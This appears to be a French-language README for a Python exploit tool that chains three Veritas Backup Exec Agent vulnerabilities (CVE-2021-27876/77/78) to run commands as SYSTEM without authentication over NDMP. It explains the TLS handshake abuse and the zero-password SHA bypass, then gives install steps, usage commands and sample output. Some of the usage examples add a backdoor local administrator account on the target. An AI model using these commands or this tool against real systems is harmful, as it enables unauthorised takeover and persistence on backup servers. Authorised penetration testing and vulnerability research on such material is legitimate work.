
Exploit RCE non authentifié pour Veritas Backup Exec Agent (CVE-2021-27876/77/78) — contournement de l'authentification SHA vers SYSTEM via NDMP
Exploit RCE non authentifié pour l'agent Veritas Backup Exec (CVE-2021-27876/77/78) — contournement de l'authentification SHA vers SYSTEM via NDMP
| CVE | Description | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Contournement de l'authentification via manipulation du hachage SHA dans le protocole NDMP | 9.8 Critique |
| CVE-2021-27877 | Lecture non authentifiée de fichiers arbitraires via NDMP | 9.8 Critique |
| CVE-2021-27878 | Exécution arbitraire de commandes OS via NDMP_EXECUTE_COMMAND | 9.8 Critique |
Avis : Veritas VTS21-003
Corrigé dans : Backup Exec 21.3 et ultérieur.
L'agent Veritas Backup Exec écoute sur TCP/10000 et parle le NDMP (Network Data Management Protocol). L'exploit enchaîne trois vulnérabilités :
Abus de la poignée de main TLS — L'agent demande un CSR lors de sa négociation TLS personnalisée. L'exploit génère une CA locale, signe le CSR de l'agent et termine la poignée de main, mettant à niveau le socket vers TLS sans secret pré-partagé.
Contournement de l'authentification SHA (CVE-2021-27876) — L'authentification SHA de NDMP calcule SHA256('\x00' * 64 + challenge). Étant donné que le mot de passe est ajouté comme un bloc de 64 octets remplis de zéros et qu'aucune validation côté serveur du matériel du mot de passe n'a lieu, tout client peut s'authentifier en tant qu'Administrateur sans connaître le mot de passe.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — Une fois authentifié, le type de message NDMP_EXECUTE_COMMAND exécute des commandes OS arbitraires en tant que NT AUTHORITY\SYSTEM. La sortie est redirigée vers C:\Windows\Temp\_be_out.txt et lue via NDMP_FILE_READ.
Python 3.8+
Sur les distributions modernes, Python est marqué comme « géré en externe » (PEP 668), installez donc la dépendance dans un environnement virtuel :
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Exemples :
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Exemple de sortie :
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Remédiation
Références
Légal
Cet outil est fourni uniquement pour les tests de pénétration autorisés et la recherche en sécurité. L'utiliser contre des systèmes sans autorisation écrite explicite est illégal. L'auteur n'accepte aucune responsabilité en cas d'utilisation abusive.